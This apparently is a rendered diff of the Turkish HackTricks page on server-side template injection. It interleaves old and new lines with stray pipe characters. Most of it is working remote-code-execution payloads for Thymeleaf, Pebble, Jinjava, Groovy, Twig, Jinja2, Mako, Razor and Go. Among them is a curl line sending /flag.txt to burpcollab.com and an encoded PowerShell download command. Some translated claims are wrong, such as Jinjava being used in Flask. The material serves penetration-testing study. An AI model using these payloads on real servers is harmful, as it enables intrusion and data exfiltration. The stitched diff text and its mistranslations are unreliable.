Thymeleaf ayrıca _ifade ön işleme_ sunar, burada çift alt çizgiler içindeki (`__...__`) ifadeler ön işlemden geçirilir. Bu özellik, Thymeleaf belgelerinde gösterildiği gibi ifadelerin oluşturulmasında kullanılabilir.
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Thymeleaf'deki Zafiyet Örneği**
|
||||
|
||||
Aşağıdaki kod parçası incelendiğinde, sömürülmeye açık olabileceği görülebilir:
|
||||
Aşağıdaki kod parçacığını düşünün, bu zafiyete açık olabilir:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
|
@ -210,7 +240,7 @@ Birden fazla değişken ifadesi kullanılabilir, `${...}` çalışmazsa `#{...}`
|
|||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
* Özel Komut Dosyası için yük oluşturma
|
||||
* Payload oluşturma için özel betik
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -258,7 +288,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebble'in eski sürümü ( < version 3.0.9):
|
||||
Pebble'in eski sürümleri ( < version 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
@ -284,7 +314,7 @@ Yeni sürüm Pebble:
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava, Java tabanlı bir template engine'dir. Server-Side Template Injection (SSTI) saldırıları için kullanılabilir. Jinjava, Java dilinde yazılmış ve Python'daki Jinja2 template engine'inin bir port'u olarak hizmet vermektedir. Jinjava, Java uygulamalarında template işleme için kullanılan bir kütüphanedir. Jinjava'nın SSTI açıklarını araştırmak için bu teknik kullanılabilir.
|
||||
Jinjava, Java tabanlı bir template engine'dir ve Flask web uygulamalarında yaygın olarak kullanılmaktadır. Jinjava, Server-Side Template Injection (SSTI) saldırılarına karşı savunmasız olabilir. Jinjava'nın güvenli bir şekilde yapılandırılmadığı durumlarda, saldırganlar template içindeki Python kodunu yürütebilir ve uygulama sunucusunda istismar yapabilir. Jinjava'nın güvenli bir şekilde yapılandırılması için dikkatli bir şekilde yapılandırılması ve güvenlik önlemlerinin alınması önemlidir.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
|
@ -372,11 +402,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çeşitli JavaEE teknolojilerinde yaygın olarak kullanılır. EL'i kullanan temel JavaEE teknolojileri şunlardır:
|
||||
Expression Language (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi optimize etmek için çeşitli JavaEE teknolojilerinde yaygın olarak kullanılır. EL'i kullanan temel JavaEE teknolojileri şunlardır:
|
||||
|
||||
* **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri yönetilen veri ve işlemlere bağlamak için EL kullanır.
|
||||
* **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç veri ve işlemlere bağlamak için EL kullanır.
|
||||
* **JavaServer Pages (JSP)**: JSP'de EL, JSP sayfaları içinde veriye erişmek ve veriyi manipüle etmek için kullanılır, sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL, CDI ile entegre olarak web katmanı ile yönetilen bean'ler arasında sorunsuz etkileşime izin verir, daha tutarlı bir uygulama yapısı sağlar.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında sorunsuz etkileşime izin vermek için CDI ile entegre olur, daha tutarlı bir uygulama yapısı sağlar.
|
||||
|
||||
**EL yorumlayıcılarının kötüye kullanımı** hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
|
@ -386,7 +416,7 @@ Expression Language (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uyg
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Aşağıdaki Güvenlik Yöneticisi atlatmaları bu [**makaleden**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) alınmıştır.
|
||||
Aşağıdaki Güvenlik Yöneticisi atlatmaları, bu [**makaleden**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) alınmıştır.
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -437,8 +467,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nothing`
|
||||
* `{{1/0}} = Hata`
|
||||
* `{{foobar}} Hiçbir şey`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
|
@ -476,7 +506,7 @@ array("first_name" => $user.first_name)
|
|||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresinde Twig ve Twig (Sandboxed) bölümünde
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresinde Twig ve Twig (Kum) bölümünde
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
|
@ -515,7 +545,7 @@ Düzen şablonu:
|
|||
|
||||
### PHPlib ve HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB), PHPlib ile aynıdır ancak Pear'a taşınmıştır.
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB), PHPlib'in Pear'a taşınmış halidir.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -539,7 +569,7 @@ Düzen şablonu:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
`authors.php` dosyası, sunucu tarafı şablon enjeksiyonu (SSTI) saldırılarını hedefleyen bir örnek uygulamadır. Bu saldırı türü, kötü niyetli kullanıcıların sunucuda çalışan şablon motorunu istismar etmelerine olanak tanır. Bu dosya, SSTI saldırılarını anlamak ve önlemek için kullanılabilir.
|
||||
`authors.php` dosyası, sunucu tarafı şablon enjeksiyonu (SSTI) saldırılarını hedefleyen bir örnek uygulamadır. Bu tür saldırılar, kötü niyetli kullanıcıların web uygulamalarında kod çalıştırmalarına olanak tanır.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -588,7 +618,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
* Jade bölümünde [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Jade bölümünde
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
@ -615,7 +645,7 @@ Yol Geçişi (daha fazla bilgi için [buraya](https://blog.shoebpatel.com/2021/0
|
|||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
* \= Hata
|
||||
* Hata
|
||||
* ${7\*7} = ${7\*7}
|
||||
* Hiçbir şey
|
||||
```java
|
||||
|
@ -648,12 +678,12 @@ URLencoded:
|
|||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **Şablon** | **Açıklama** |
|
||||
| **Şablon** | **Açıklama** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Değerlendir ve çıktıyı oluştur |
|
||||
| | Değerlendir ve çıktıyı oluştur |
|
||||
| | Değerlendir ve HTML kodu ile çıktı oluştur |
|
||||
| | Yorum ekle |
|
||||
| ve | Kodu etkinleştir (varsayılan olarak devre dışı) |
|
||||
| | Yorum |
|
||||
| ve | Kodu izin ver (varsayılan olarak devre dışı) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -804,7 +834,7 @@ Python'da **kum havuzlarını atlayarak keyfi komut yürütme hileleri** hakkın
|
|||
|
||||
|
||||
```
|
||||
[**__builtins__'a bağlı olmayan**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) **RCE**:
|
||||
[**__builtins__'a bağlı olmayan RCE**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/):
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
|
@ -815,13 +845,13 @@ Python'da **kum havuzlarını atlayarak keyfi komut yürütme hileleri** hakkın
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Jinja'nın nasıl kötüye kullanılacağı hakkında daha fazla detay**:
|
||||
**Jinja'nın nasıl kötüye kullanılacağı hakkında daha fazla bilgi için**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Diğer payloadlar [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
Diğer yükler [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
|
@ -846,9 +876,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4M...`
|
||||
|
||||
.NET `System.Diagnostics.Process.Start` yöntemi sunucuda herhangi bir işlemi başlatmak için kullanılabilir ve böylece bir web kabuğu oluşturulabilir. [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) adresinde zayıf bir web uygulama örneği bulabilirsiniz.
|
||||
.NET `System.Diagnostics.Process.Start` yöntemi, sunucuda herhangi bir işlemi başlatmak ve böylece bir web kabuğu oluşturmak için kullanılabilir. [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) adresinde zayıf bir web uygulama örneği bulabilirsiniz.
|
||||
|
||||
**Daha fazla bilgi**
|
||||
|
||||
|
@ -870,7 +900,7 @@ ${x}
|
|||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Perl olsa da Ruby'deki ERB gibi etiketler kullanır.
|
||||
Perl olduğu halde Ruby'deki ERB gibi etiketler kullanır.
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Hata`
|
||||
|
@ -882,19 +912,19 @@ Perl olsa da Ruby'deki ERB gibi etiketler kullanır.
|
|||
|
||||
Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:
|
||||
|
||||
* `{{ . }}`: Veri yapısını ortaya çıkarır. Örneğin, `Password` özelliğine sahip bir nesne geçirilirse, `{{ .Password }}` bunu açığa çıkarabilir.
|
||||
* `{{ . }}`: Veri yapısını gizler. Örneğin, `Password` özelliğine sahip bir nesne ile geçilirse, `{{ .Password }}` bunu açığa çıkarabilir.
|
||||
* `{{printf "%s" "ssti" }}`: "ssti" dizesini görüntülemesi beklenir.
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklenmeden "ssti" döndürmelidir. Go belgelerinde daha fazla yönerge bulunabilir [burada](https://golang.org/pkg/text/template).
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Bu yükler "html" veya "js" eklenmeden "ssti" döndürmelidir. Daha fazla yönerme Go belgelerinde keşfedilebilir [burada](https://golang.org/pkg/text/template).
|
||||
|
||||
**XSS Sömürüsü**
|
||||
|
||||
`text/template` paketi ile XSS doğrudan yükü ekleyerek basit olabilir. Buna karşılık, `html/template` paketi yanıtı kodlayarak bunu önler (örneğin, `{{"<script>alert(1)</script>"}}` ifadesi `<script>alert(1)</script>` sonucunu verir). Yine de, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
`text/template` paketi ile XSS doğrudan yükü ekleyerek basit olabilir. Buna karşılık, `html/template` paketi yanıtı kodlayarak bunu önler (örneğin, `{{"<script>alert(1)</script>"}}` sonucu `<script>alert(1)</script>` olur). Bununla birlikte, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Kopyala kod
|
||||
vbnet Kopyala kodu
|
||||
|
||||
**RCE Sömürüsü**
|
||||
|
||||
RCE sömürüsü, `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmayı sağlar ("call" değerini kullanarak), bu `html/template` içinde izin verilmez. Bu modüller için belgeler [html/template için burada](https://golang.org/pkg/html/template/) ve [text/template için burada](https://golang.org/pkg/text/template/) mevcuttur.
|
||||
RCE sömürüsü, `html/template` ve `text/template` arasında önemli ölçüde farklılık gösterir. `text/template` modülü, herhangi bir genel işlevi doğrudan çağırmayı sağlar ("call" değerini kullanarak), bu `html/template` içinde izin verilmez. Bu modüller için belgeler [burada html/template için](https://golang.org/pkg/html/template/) ve [burada text/template için](https://golang.org/pkg/text/template/) mevcuttur.
|
||||
|
||||
Go'da SSTI aracılığıyla RCE için nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesnenin komutları yürüten bir `System` yöntemi varsa, bunu `{{ .System "ls" }}` gibi sömürülebilir. Bu sömürü için genellikle kaynak koduna erişim gerekir, verilen örnekte olduğu gibi:
|
||||
```go
|
||||
|
@ -930,11 +960,11 @@ Faydalı olabileceğini düşünüyorsanız, okuyun:
|
|||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## Kaba Kuvvet Tespiti Listesi
|
||||
## Kaba Kuvvet Tespit Listesi
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## Uygulama & Referanslar
|
||||
## Uygulama ve Referanslar
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -948,14 +978,14 @@ Faydalı olabileceğini düşünüyorsanız, okuyun:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın.**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue